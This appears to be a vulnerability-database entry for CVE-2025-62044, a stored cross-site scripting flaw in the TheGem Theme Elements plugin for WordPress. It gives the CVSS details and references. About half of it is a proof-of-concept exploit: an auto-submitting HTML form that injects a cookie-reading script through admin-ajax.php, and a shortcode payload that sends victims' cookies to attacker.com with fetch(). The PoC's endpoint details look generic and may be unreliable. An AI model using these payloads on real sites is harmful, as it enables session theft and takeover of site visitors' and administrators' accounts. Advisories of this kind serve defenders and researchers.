CVE-2025-62044

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for WPBakery) thegem-elements.This issue affects TheGem Theme Elements (for WPBakery): from n/a through <= 5.10.5.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements for WPBakery <= 5.10.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-62044 PoC - Stored XSS in TheGem Theme Elements -->
<html>
<body>
<h2>CVE-2025-62044 - TheGem Theme Elements XSS PoC</h2>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
    <!-- WPBakery Element Injection -->
    <input type="hidden" name="action" value="thegem_elements_save_element">
    <input type="hidden" name="post_id" value="1">
    <input type="hidden" name="element_type" value="text">
    <textarea name="element_content"><script>alert('XSS - Cookie: '+document.cookie)</script></textarea>
    <input type="hidden" name="_wpnonce" value="ATTACKER_NONCE">
    <button type="submit">Exploit</button>
</form>
<script>
    // Auto-submit form
    document.forms[0].submit();
</script>
</body>
</html>

<!-- Alternative: Direct Injection via Shortcode -->
<!-- [gem_textbox]<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>[/gem_textbox] -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62044
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62044
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62044/
[4] VulDB https://vuldb.com/cve/CVE-2025-62044
[5] https://patchstack.com/database/Wordpress/Plugin/thegem-elements/vulnerability/wordpress-thegem-theme-elements-for-wpbakery-plugin-5-10-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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